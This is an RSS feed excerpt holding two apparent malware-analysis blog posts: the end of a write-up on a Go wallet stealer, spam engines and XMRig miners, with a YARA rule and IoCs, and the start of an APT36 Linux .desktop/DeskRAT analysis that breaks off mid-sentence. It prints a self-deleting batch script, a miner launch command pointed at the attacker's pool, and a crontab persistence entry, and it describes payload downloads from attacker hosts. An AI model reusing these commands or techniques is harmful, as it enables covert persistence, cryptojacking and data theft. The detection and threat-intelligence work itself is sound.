src="https://cdn-images-1.medium.com/max/451/1*QREAN6zzHj_TuwBg_dZv5w.png" /><figcaption>getBackupDomainsFilePath() creating the filepath for backup_domains.json</figcaption></figure><p>It rotates through these domains via SwitchToNextBackupDomain() on each failed upload attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*0RSGKPqCiW_GlU9Kdnsxeg.png" /></figure><p><strong>7) Watchdog persistence</strong></p><p>After all wallet theft and extension injection is complete, if the config has autostart enabled, it calls InstallAutostartAndSpawnWatcher copies the binary to %APPDATA%, then a classic Run-key persistence. The registry value name: <strong>ChromeDbgSvc</strong>. Designed to look like a legitimate Chrome debugging service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*DG6VPQukNnbJL0MDAtEtyA.png" /></figure><p><strong>8) Self-deletion</strong></p><p>If the config self_delete flag is set, main_selfDelete() is called at the end, and the binary deletes itself from disk to remove forensic evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*hLJHjHwExFDCEe1MBtXRVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*rGNjihvsEQyla8ERh4J_mg.png" /><figcaption>DAT_007a5573 contains the content of the self-deletion script</figcaption></figure><p>The full script which is executed is as follows:</p><pre>@echo off<br>:loop<br>ping -n 2 127.0.0.1 &gt;nul 2&gt;&amp;1<br>del /F /Q &quot;&lt;binary_path&gt;&quot; &gt;nul 2&gt;&amp;1<br>if exist &quot;&lt;binary_path&gt;&quot; goto loop<br>(goto) 2&gt;nul &amp; del /F /Q &quot;%~f0&quot;</pre><blockquote><strong>Note: </strong>(%s in the decompile is a fmt.Sprintf placeholder, the actual binary path is substituted at runtime before the script is written to disk.)</blockquote><p>Executes it via cmd.exe /C with CREATE_NO_WINDOW (0x8000000) and HideWindow: true. The .bat file loops until the binary is gone, then deletes itself.</p><h3>The Miners: xmr.exe and xmrget.exe</h3><p>Both of these executables are wrappers around <strong>XMRig, </strong>the widely-used open-source <strong>Monero miner</strong>, frequently abused by threat actors because it’s legitimate software that AV vendors are reluctant to hard-block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*IfqlGYF_XVZXbmKOftQJww.png" /></figure><h4>xmr.exe — The PEB Walker</h4><p>xmr.exe is more interesting from a technical standpoint. It implements a <a href="https://www.google.com/search?q=peb+walking&amp;oq=peb+walking&amp;gs_lcrp=EgZjaHJvbWUqCQgAEEUYOxiABDIJCAAQRRg7GIAEMggIARAAGBYYHjIHCAIQABjvBTIHCAMQABjvBTIKCAQQABiABBiiBNIBCDEzMTlqMGo3qAIAsAIA&amp;sourceid=chrome&amp;source=chrome.ob&amp;ie=UTF-8"><strong>PEB walker</strong></a> for dynamic API resolution(i.e, no static imports), resolves everything at runtime by walking the loaded module list via fs:[0x60] (the PEB pointer on x64).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*2GgEeQTOvdYBNgBvMhK-Fw.png" /><figcaption>arithmetic obfuscation</figcaption></figure><p>The arithmetic obfuscation throughout is a notable touch. Every constant is encoded via subtract_4d9ad25f, a function that returns param_1 + (-0x4d9ad25f).</p><p>So 0x4d9ad2bf decodes to 0x60 (the PEB offset), 0x4d9ad29b decodes to 0x3C (e_lfanew), and so on. Every PE structure offset is hidden behind this arithmetic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*mGAz0FhyXPh9hdzvmH6QsQ.png" /></figure><p>Subsequently after decryption, we get,</p><pre>| Encoded Value | Decoded Value|                    Meaning                   |<br>| ------------: | -----------: | ---------------------------------------------|<br>|  `0x4D9AD2BF` |        0x60` | Points to the PEB (Process Environment Block)|<br>|  `0x4D9AD29B` |       `0x3C` | `IMAGE_DOS_HEADER.e_lfanew` offset           |<br>|  `0x4D9AD263` |       `0x04` | Offset `+4`                                  |<br>|  `0x4D9AD647` |      `0x3E8` | Decimal `1000`                               |<br>|  `0x4D9AD27F` |       `0x20` | Export Directory → `AddressOfNames`          |<br>|  `0x4D9AD27B` |       `0x1C` | Export Directory → `AddressOfFunctions`      |<br>|  `0x4D9AD283` |       `0x24` | Export Directory → `AddressOfNameOrdinals`   |<br>|  `0x4D9AD25E` | `0xFFFFFFFF` | Hash mask                                    |</pre><h4>xmrget.exe</h4><p>xmrget.exe downloads xmrig.exe from http://178[.]16.54.109/xmrig.exe, installs it to %USERPROFILE%\sysmgnrsv.exe (disguised as a system management service), deletes its Zone.Identifier, then writes a HKCU\Software\Microsoft\Windows\CurrentVersion\Run key for persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*BL7asnDcnGHoB4pP6Nhjdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*BhJyhFbWqifE6cRCccpWXw.png" /><figcaption>hardcoded script being executed</figcaption></figure><p>Then it executes via ShellExecuteW with the full mining command:</p><pre>cmd.exe /c sysmgnrsv.exe<br>  -o 178.16.54.109:6060<br>  -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZlPPhuQbNgXggCdwTrMYWN8hi<br>  -p x<br>  --cpu-priority=5<br>  --threads=2<br>  --max-cpu-usage=25</pre><p>Mining pool: 178.16.54.109:6060 — the same C2 IP running a Monero pool on port 6060. Wallet address fully visible in the binary. CPU priority 5 (above normal), 2 threads, capped at 25% CPU usage (low enough to avoid obvious slowdowns, high enough to generate meaningful revenue at scale)</p><h3>Putting It All Together</h3><p>This campaign is layered in a way that makes sense once you see the full picture:</p><p><strong>The dropper</strong> is the loader, does nothing sophisticated. Its job is just to land the other payloads.</p><p><strong>The spam engines (5.exe,7.exe,12.exe, n.exe,x.exe) </strong>are a side income. With five hash-diverse binaries landing on thousands of machines each blasting 5,000 threads of emails, even a 0.1% conversion rate on a $1,200 demand adds up. The Template B variants using stolen passwords as hooks are meaningfully more convincing than Template A’s generic RAT claim.</p><p><strong>grab.exe is the primary payload.</strong> The dropper exists to land it. Everything else is noise.</p><p><strong>The miners (xmr.exe &amp; xmrget.exe) </strong>are silent killers, they quietly convert the CPU cycles to Monero at 25% usage while the rest of the campaign does its work.</p><p><strong>—— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —-</strong></p><h3>YARA Rule</h3><p>The following YARA rule can be used to detect binaries associated with this campaign:</p><pre>rule Win_Go_Grab_WalletStealer_Sextortion_Campaign<br>{<br>    meta:<br>        author = &quot;R.D.Tarun&quot;<br>        description = &quot;Detects the Go-based browser wallet stealer used in the sextortion campaign&quot;<br>        date = &quot;2026-07-28&quot;<br>        family = &quot;Grab&quot;<br>        malware_type = &quot;Wallet Stealer / Browser Extension Injector&quot;<br><br>    strings:<br>        $runkey = &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot; ascii wide<br>        $svc = &quot;ChromeDbgSvc&quot; ascii wide<br>        $watch = &quot;--needle-wallet-dbg-watch&quot; ascii<br><br>        $bg = &quot;background.js&quot; ascii<br>        $hwid1 = &quot;Successfully replaced HWID in background.js&quot; ascii<br>        $hwid2 = &quot;Found background.js: %d bytes, replacing HWID...&quot; ascii<br>        $hwid3 = &quot;Warning: background.js not found at %s, skipping HWID replacement&quot; ascii<br><br>        $wallet = &quot;/wallet/upload&quot; ascii<br>        $backup = &quot;/backup-domains/active&quot; ascii<br>        $api = &quot;x-api-key&quot; ascii<br>        $accept = &quot;application/json&quot; ascii<br><br>        $pref1 = &quot;Secure Preferences&quot; ascii wide<br>        $pref2 = &quot;Preferences&quot; ascii wide<br><br>        $bat = &quot;@echo off\r\n:loop&quot; ascii<br>        $del = &quot;del /F /Q \&quot;%s\&quot;&quot; ascii<br><br>        $go1 = &quot;Go build ID:&quot; ascii<br>        $go2 = &quot;runtime.morestack_noctxt&quot; ascii<br><br>    condition:<br>        uint16(0) == 0x5A4D and<br>        (<br>            (3 of ($runkey,$svc,$watch,$bg,$hwid*)) or<br>            (3 of ($wallet,$backup,$api,$accept)) or<br>            (2 of ($hwid*) and 2 of ($wallet,$backup,$api,$accept)) or<br>            ($bat and $del and $runkey)<br>        )<br>}</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><h3>IoC’s</h3><pre>Network Indicators<br>------------------<br>C2 IPs:<br>- 178.16.54.109<br>- 130.12.180.135<br><br>C2 URL:<br>- http://130.12.180.135:3000/api/v2<br><br>Endpoints:<br>- /wallet/upload<br>- /backup-domains/active<br><br>Mining Pool:<br>- 178.16.54.109:6060<br><br>Public IP Lookup:<br>- http://icanhazip.com/<br><br>Payload URLs:<br>- http://178.16.54.109/x.exe<br>- http://178.16.54.109/n.exe<br>- http://178.16.54.109/5.exe<br>- http://178.16.54.109/7.exe<br>- http://178.16.54.109/12.exe<br>- http://178.16.54.109/grab.exe<br>- http://178.16.54.109/xmr.exe<br>- http://178.16.54.109/xmrget.exe<br>- http://178.16.54.109/xmrig.exe<br><br>Cryptocurrency<br>--------------<br>Bitcoin Wallet:<br>- 16FnhJgft5PxM3QNRjq9FiafkKHAAv8Ngy<br><br>Monero Wallet:<br>- 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZlPPhuQbNgXggCdwTrMYWN8hi<br><br>Host Artifacts<br>--------------<br>Files:<br>- %APPDATA%\d3333333333333333333.txt<br>- %APPDATA%\3969592695.txt<br>- %TEMP%\n.txt<br>- %USERPROFILE%\sysmgnrsv.exe<br>- %LOCALAPPDATA%\extension-backup\backup_domains.json<br>- %APPDATA%\&lt;stealer_dir&gt;\&lt;name&gt;.exe<br>- %LOCALAPPDATA%\&lt;Browser&gt;\User Data\&lt;Profile&gt;\Extensions\&lt;generated_id&gt;\<br><br>Registry Keys:<br>- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeDbgSvc<br>- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\&lt;name&gt;<br>- HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid<br><br>Email Artifacts<br>---------------<br>Subject:<br>- YOU PERVERT, I RECORDED YOU!<br><br>Email Templates:<br>- Template A: $1400 BTC demand<br>- Template B: $1200 BTC demand<br><br>Hardcoded Sender:<br>- John@4452.com<br><br>Targeted Wallet Extensions<br>--------------------------<br>- MetaMask<br>- Trust Wallet<br>- OKX Wallet<br>- Phantom<br>- Coinbase Wallet<br>- Binance Web3 Wallet<br>- Atomic Wallet<br>- TON Wallet<br>- Bybit Web3 Wallet</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><h3>MITRE ATT&amp;CK Mapping</h3><pre>| Tactic            | Technique                                                | ID            |<br>| ----------------- | -------------------------------------------------------- | ------------- |<br>| Initial Access    | User Execution                                           | **T1204.002** |<br>| Execution         | Command and Scripting Interpreter: Windows Command Shell | **T1059.003** |<br>| Execution         | Scheduled/Automated Task (watchdog execution)            | **T1053**     |<br>| Discovery         | System Owner/User Discovery                              | **T1033**     |<br>| Discovery         | System Information Discovery                             | **T1082**     |<br>| Discovery         | Process Discovery                                        | **T1057**     |<br>| Discovery         | File and Directory Discovery                             | **T1083**     |<br>| Credential Access | Credentials from Password Stores (browser wallets)       | **T1555**     |<br>| Credential Access | Credentials from Web Browsers                            | **T1555.003** |<br>| Collection        | Archive Collected Data                                   | **T1560**     |<br>| Collection        | Data from Local System                                   | **T1005**     |<br>| Persistence       | Registry Run Keys / Startup Folder                       | **T1547.001** |<br>| Persistence       | Browser Extensions                                       | **T1176**     |<br>| Persistence       | Event Triggered Execution (watchdog)                     | **T1546**     |<br>| Defense Evasion   | Indicator Removal on Host (self-delete)                  | **T1070**     |<br>| Defense Evasion   | Masquerading                                             | **T1036**     |<br>| Command &amp; Control | Application Layer Protocol (HTTP)                        | **T1071.001** |<br>| Command &amp; Control | Dynamic Resolution / Backup Infrastructure               | **T1568**     |<br>| Exfiltration      | Exfiltration Over Web Service                            | **T1567**     |<br>| Exfiltration      | Exfiltration Over C2 Channel                             | **T1041**     |<br>| Impact            | Resource Hijacking (XMRig)                               | **T1496**     |</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><p>Hope you found this article insightful. Follow me for similar content like this!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90561c0616e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pakistan’s APT36 “Vibeware” targets Indian Military Infrastructure]]></title>
            <link>https://medium.com/@tarunrd77/pakistans-apt36-vibeware-targets-indian-military-infrastructure-75a853437c03?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/75a853437c03</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[india]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Wed, 20 May 2026 15:21:12 GMT</pubDate>
            <atom:updated>2026-05-20T15:28:23.226Z</atom:updated>
            <content:encoded><![CDATA[<h4>Analysis of a previously undocumented Linux espionage campaign targeting Indian military procurement operations</h4><h3>Introduction</h3><p>A targeted spear-phishing campaign leveraging weaponized Linux .desktop files was identified using military-themed contract lures associated with Indian-armoured vehicle procurement operations.</p><p>The campaign appears to target individuals connected to Indian military and defense infrastructure ecosystems using WhatsApp-based social engineering and staged shell payload delivery.</p><p>Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as <strong>DeskRAT</strong>.</p><blockquote>The campaign is internally tracked as <strong>Vibeware, </strong>a reference to the AI-assisted generation patterns evident in the initial payload’s construction.</blockquote><p>Based on infrastructure overlaps, lure themes, delivery methodology, and similarities with previously documented campaigns, the activity aligns with tradecraft commonly associated with <strong>APT36 (Transparent Tribe), </strong>a Pakistan-linked threat actor historically known for targeting Indian government, defense, and diplomatic sectors.</p><h3>Target</h3><p><strong>Country:</strong> India</p><p><strong>Sector:</strong> Military / Critical Infrastructure</p><p>The campaign leveraged military-themed procurement documents referencing T-72 and T-90 Main Battle Tank (MBT) modernization programs associated with Indian defense operations.</p><p>Unlike highly targeted one-to-one spear-phishing operations, the lure material in this campaign was also observed circulating through WhatsApp-based social engineering channels, indicating an attempt to broaden infection reach beyond traditional defense networks.</p><blockquote>This suggests a hybrid targeting model combining opportunistic distribution with military-themed social engineering intended to reach individuals connected directly or indirectly to Indian critical infrastructure environments.</blockquote><p>The overall targeting patterns and military-themed lure construction strongly resemble previously documented APT36 campaigns focused on Indian defense entities.</p><h3>Technical Analysis</h3><p>The infection chain begins with the delivery of a weaponized Linux .desktop file distributed through military-themed social engineering lures. The file was observed masquerading as legitimate procurement-related documentation associated with Indian-armoured vehicle modernisation programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ihct9n3la-pf93MYr3QlCg.png" /><figcaption><a href="https://labex.io/questions/what-is-a-desktop-file-977197">https://labex.io/questions/what-is-a-desktop-file-977197</a></figcaption></figure><p>Upon extraction and execution, the .desktop launcher silently initiates a staged shell-based execution chain designed to retrieve, decode, and deploy secondary payloads while minimizing visible indicators to the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*ViDZYSSmQ-Pm_55rDDQVUg.png" /><figcaption>DIE output doesn’t reveal much</figcaption></figure><h3>Stage1 — .desktop file analysis</h3><p>Initial analysis of the weaponized .desktop file revealed an unusually large launcher configuration spanning approximately 18,000 lines, significantly larger than legitimate Linux .desktop entry files typically observed in standard environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*NH3WSS0-ScFy3dXTJivLFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*xWNINf6eJspjr84F0U8VaQ.png" /></figure><p>It was observed that all the lines have a # symbol at the start of it, rendering it useless, because a # is used to initiate a comment in a .desktop file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzTMBTN--gjMij9prGZ9mw.png" /></figure><p>A substantial portion of the file consists of commented Base64-encoded data blocks that, when decoded, produce malformed or intentionally corrupted .PNG artifacts containing incomplete image headers.</p><blockquote>The embedded image data appears designed primarily as analyst distraction and content inflation rather than functional application resources.</blockquote><p>Further inspection identified <strong>a small uncommented execution section</strong> embedded within the launcher metadata, containing heavily obfuscated shell execution logic and encoded payload fragments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EspZRu6EYLlKEM1XacL3rQ.png" /><figcaption>Uncommented section from lines 9497–9508 : Leverages nested Base64 decoding, variable expansion, and inline shell evaluation to reconstruct and execute the next-stage payload directly in memory.</figcaption></figure><p>The overall structure suggests deliberate anti-analysis design intended to blend malicious shell execution within what appears to be oversized application resource data.</p><blockquote>TLDR, It’s a weaponized .desktop file designed to execute malware when a user double-clicks what they think is a PDF. The PDF appearance is entirely cosmetic.</blockquote><h3>Stage2 — Loader Analysis</h3><p>Examining the uncommented section,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qx1vXAJHVhAIuEBRPMJlvg.png" /></figure><p>Since we know what the decryption scheme is, we can do it manually to see what’s being decrypted and subsequently run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*NbQ014wtNkRN_8M1uO1dEA.png" /><figcaption>Decryption scheme being used</figcaption></figure><h4>Payload-1 (wtqJcmBH)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*7e3GlwKtNYiYPwx5IxLNMQ.png" /></figure><p>Examining it in a text editor,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pj30wRS3OkNggn4p4_y0zA.png" /><figcaption>payload1 in sublime text</figcaption></figure><p>We see that it curls a file from bossmaya[.]xyz called client.txt , and follows decryption by ascii85 and decompression by bzip2 scheme, to write the next payload, and eventually execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*VCEOQ3vhI9qvgqFBJzl8NA.png" /><figcaption>decryption scheme for payload1</figcaption></figure><h4>Payload-2 (wgQEkOAf) — the fileless payload</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*De8QEv4aqhuK1Lio8V1U4w.png" /></figure><p>This one is even more sinister.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7f3ntXn7jOHOhfprlx6ksw.png" /><figcaption>payload2 in sublime text</figcaption></figure><p>It opens an entire new window in Firefox, loading the website <a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2254141&amp;reg=3&amp;lang=2">https://www.pib.gov.in/PressReleasePage.aspx?PRID=2254141&amp;reg=3&amp;lang=2</a></p><p>Now what is this website you may ask? <strong>It is a legitimate website of the Indian Government</strong>, documenting a press release of (you guessed it), military products, specifically tanks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZM8Tut8j0czE0gIzQQLqYg.png" /></figure><blockquote>So what was the point of this website?</blockquote><blockquote>Well, the masterminds behind APT36 wanted the user to be redirected to a legit government website so that it can execute the malicious payload obtained by decrypting the 1st payload while this website was shown in front. <strong>A deliberate misdirection technique designed to maintain the illusion of legitimate activcity.</strong></blockquote><p>Since we know the next stage URI, we download the malicious file from bossmaya[.]xyz .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ayd9Yrjt8NAjfVpkD5YLKw.png" /></figure><h3>Stage3.txt — DeskRAT Malware</h3><p>Examining stage3.txt , it is a ELF file written in Golang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*gA2EEZn6jU-E8NzTDYBOxA.png" /></figure><p>Using Ghidra + GoLangAnalyzer extension for disassembly,</p><h4>How it starts</h4><p>The very first interesting thing in main.main is a byte comparison against argv[1]. What&#39;s it checking for? 0x6e65646469682d2d— which when you swap endianness (ghidra follows little endian format) and decode from hex, gives you --hidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*r-OKdLZpdwVqP9KEjajsvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*6Km8rV6f4Q2MTzOeMw_C4w.png" /></figure><p>If it doesn’t find the --hidden string, it calls main.InstallPeristence to create persistence mechanisms in 3 ways, and subsequently installs copies of itself in folders that are concatenated by path/filepath.join (this method will increase in use, with the same functionality though, as we go on)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Dt4K7IkkKLZK3T3MzmeBkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*nA5qJ9PLPnPSndXH7iUrbA.png" /></figure><h3>Persistence Mechanisms</h3><p>The 3 ways by which the malware enforces its persistence are as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*Kx6Z9iF-q4qzYSd6I9Bu5A.png" /><figcaption>Remove one, the other two still work. Remove two, the third still works. We’d have to find and kill all three simultaneously to fully remove persistence.</figcaption></figure><h4>main.createAutostartDesktopFile</h4><p>Creates an ~/.config/autostart directory, using os.MkdirAll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*E_dBXL6VV5fl060qoOylfg.png" /></figure><p>It then writes hardcoded content into the created system-backup.desktop file with permission code 0644</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*CuiDu2rmzp_jOhDNP6p_UQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*8tgs-Pu30Vd07OwjcHFYUg.png" /><figcaption>The hardcoded content — notice how it writes “<strong> — hidden</strong>” as a string.</figcaption></figure><h4>main.createBashStartupScript</h4><p>In the same way, creates a startup.sh file with hardcoded content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*8mNmd2l4t-eTFnOSNYliOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*vfkY3o1aUs93DUSTNMiNwg.png" /></figure><p>Examining the hardcoded content, it pretty much does the same thing as the previous method, just in a different medium.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*ereG6OB6v0Odz56cvgPIlA.png" /></figure><h4>main.addToCrontab</h4><p>This one doesn’t write a file, it modifies the user’s crontab directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*j4JB4i9R5R3deeWJdE-m9w.png" /></figure><p>It runs crontab -l to dump the existing crontab, then builds the entry string @reboot <strong>%s -hidden</strong> &gt; /dev/null 2&gt;&amp;1</p><p>The /dev/null redirect is deliberate, for maintaining silence, as nothing from this process shows up in syslog on reboot.</p><p>To summarise,</p><blockquote>Every persistence mechanism writes “--hidden” into the exec command it creates, so every subsequent execution triggered by persistence will always hit the else branch and go straight to the stealth mode instead of trying to reinstall persistence again.</blockquote><h4><strong>So what is this “stealth” mode that is called when “--hidden” is already present (i.e the else block)?</strong></h4><p>It is the runHidden method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*AB1wCMC5uvEMfFQE-Vrvgg.png" /></figure><p>Examining main.runHidden ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*lqXevrL8JDpRwLxPXD97ow.png" /></figure><p>When --hidden is present, main.runHidden creates a ~/.config/system-backup/client.log file, opened with O_RDWR|O_CREATE|O_APPEND (flags 0x442, perms 0666). <strong>All subsequent logging goes here instead of stdout.</strong></p><h3><strong>C2 Infrastructure</strong></h3><p>The implant connects to ws://chuchuchacha.xyz:8080/ws using the <a href="https://github.com/gorilla/websocket">Gorilla WebSocket</a> library.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*MjAYJof44J6OygevcgKDIA.png" /></figure><p>While analysing the binary’s data section, the C2 endpoint was found to be sitting right there: ws://85.137.249.243:8080/ws. This is a hardcoded IP fallback for when DNS resolution fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*w_10vn07UKmQrzMqTM28lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*SrixSUWELC7e5Ozrh-NuXw.png" /><figcaption>The connection uses cleartext ws://, no TLS. You&#39;d think that means traffic is unencrypted. It&#39;s not. The operator deliberately skipped TLS to avoid certificate fingerprinting and handles encryption themselves at the application layer via <strong>ChaCha20</strong>.</figcaption></figure><blockquote><strong><em>Why does this matter?</em></strong></blockquote><blockquote>Because it means that even if chuchuchacha.xyz gets taken down (which is a standard IR move), the malware doesn&#39;t die. It just falls back to the raw IP.</blockquote><blockquote>We have to take down both the domain AND the IP address to cut off C2 communication (the operator planned for domain takedowns).</blockquote><p>Looking up 85.137.249.243 ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*lmO-dVo304kltQkyzUwLyg.png" /></figure><p>It resolves to shareef.com, hosted on AlexHost S.r.l. (ASN 200019) in London, UK.</p><blockquote>AlexHost is a bulletproof hosting provider, which is exactly what you&#39;d expect for C2 infrastructure (bulletproof hosters are specifically chosen because they&#39;re resistant to abuse complaints and takedown requests, i.e, even if law enforcement contacts them, they&#39;re unlikely to act quickly).</blockquote><blockquote><strong>This is a deliberate infrastructure choice, not an accident.</strong></blockquote><h3>Exfiltrated Data</h3><p>1)sendClientInfo — collects all the data of victim, sends as client_info</p><p>The moment a connection is established, this fires before anything else. The operator immediately knows who, where, and what machine the victim is on. No interaction is required from the victim, beyond the initial double-click.</p><pre>|     Field   |        Source             |       How Collected      |<br>|-------------|---------------------------|--------------------------|<br>| ip_address  | `getExternalIP`           | External HTTP lookup     |<br>| username    | `os/user.Current()`       | `/etc/passwd` / OS call  |<br>| os          | Hardcoded string &quot;linux&quot;  | Static                   |<br>| location    | `getLocation`             | IP geolocation API       |<br>| current_dir | `os.Getwd()`              | CWD at time of execution |<br>| hostname    | `os.Hostname()`           | System hostname          |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*A0GpN8yJeuCTk8pjwuB8jA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*mevmLAbC9aToqUwO4dt5Hw.png" /><figcaption>main.sendClientInfo</figcaption></figure><p>Out of the sub-function calls involved, getExternalIP is particularly interesting. It looks up various IP lookup services sequentially, i.e, api.ipify.org → checkip.amazonaws.com → icanhazip.com. First one that responds wins, rest are skipped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*fbkILRcNiQVZjlxDL3GrRA.png" /></figure><p>If all three HTTP services are unreachable (say the victim is in a restricted network with outbound HTTP blocked), it falls back to a UDP dial trick. It dials 1.1.1.1:80 then 208.67.222.222:80 via net.Dial(&quot;udp&quot;).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*r3ggEmwWi9PCPKAbH_pFWw.png" /></figure><blockquote><strong>Note that no data is actually sent. </strong>The trick is that dialing UDP forces the OS to select the correct outbound network interface, and we can read the local address from the socket. Calls net.IP.String() on the result to get the IP. Works without making any actual network connection, as it is just a socket bind.</blockquote><p>2) sendFileInChunks — for stealing files, sends as file_chunk</p><p>3) browseFiles — browsing directories and files, sends as file_list</p><p>Every outbound message uses the same main.Message wrapper:</p><pre>{<br>  &quot;type&quot;:      &quot;&lt;message_type&gt;&quot;,   // client_info | file_chunk | file_list<br>  &quot;client_id&quot;: &quot;&lt;uuid&gt;&quot;,           // victim&#39;s UUID<br>  &quot;data&quot;:      { ... },            // payload varies by type<br>  &quot;timestamp&quot;: &quot;&lt;RFC3339&gt;&quot;         // time.Now() at send time<br>}</pre><p>The client_id UUID is generated once and stored in the client struct — this is how the operator tracks individual victims across reconnections. Even if the IP changes, the UUID stays the same.</p><h3>Remote Execution Capability</h3><p>Beyond passively collecting data, the operator can actively push files to the victim machine and execute them. This is handled by two functions working in combination — handleUploadExecute and executeFile.</p><h4><strong>handleUploadExecute — Dropping Payloads</strong></h4><p>This is the function that receives a file from the operator and executes it. First thing it checks is the isExecuting flag, no queuing, no parallel execution. One at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*SZPBenZnsisLajovVmbZCA.png" /></figure><p><strong>Path resolution</strong></p><p>Pulls three fields from the incoming message map: filename, target_path, and full_path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*4yownvBdHdHjqs-9XQXJ1g.png" /></figure><p>The logic is:</p><ul><li>If full_path is provided, use it directly</li><li>If not, check if target_path ends with / — if yes, concatenate as target_path + filename, if no, do target_path + &quot;/&quot; + filename</li><li>Then runs strings.Replace swapping all \ → / to normalize any Windows-style paths the operator might accidentally send</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*YT6GIwnhB6j-qtVpit6kLw.png" /><figcaption>path resolution in main.handleUploadExecute</figcaption></figure><p><strong>Content decoding — three formats supported</strong></p><p>The operator can send the file content in three different ways, distinguished by type hash:</p><p>Hash 0x9097a863 + string type — content is a string. Checks if content_type is &quot;base64&quot; by comparing bytes 0x65736162 and 0x3436 — a little-endian integer comparison of the ASCII bytes for “base” and “64” respectively, rather than a standard string compare. If base64, calls encoding/base64.DecodeString. If not, converts the string directly to bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*LL5xNt4x4tVZ-1ZVT7wjgA.png" /></figure><p>Hash 0xdb26a36 + []interface{} — this is what happens when JSON unmarshals a byte array. JSON has no native byte array type so it becomes []float64. The code iterates the slice, casts each float64 → byte, and manually reconstructs the byte slice. Classic Go JSON quirk.</p><p>Hash 0xd1922369 + []uint8 — raw byte slice, used directly.</p><p><strong>Write, verify, execute</strong></p><p>strings.LastIndex on / to find the directory component, MkdirAll with permissions 0755 on the parent. os.WriteFile with 0755. Then os.Stat to verify the file actually landed on disk correctly.</p><figure><img alt="" 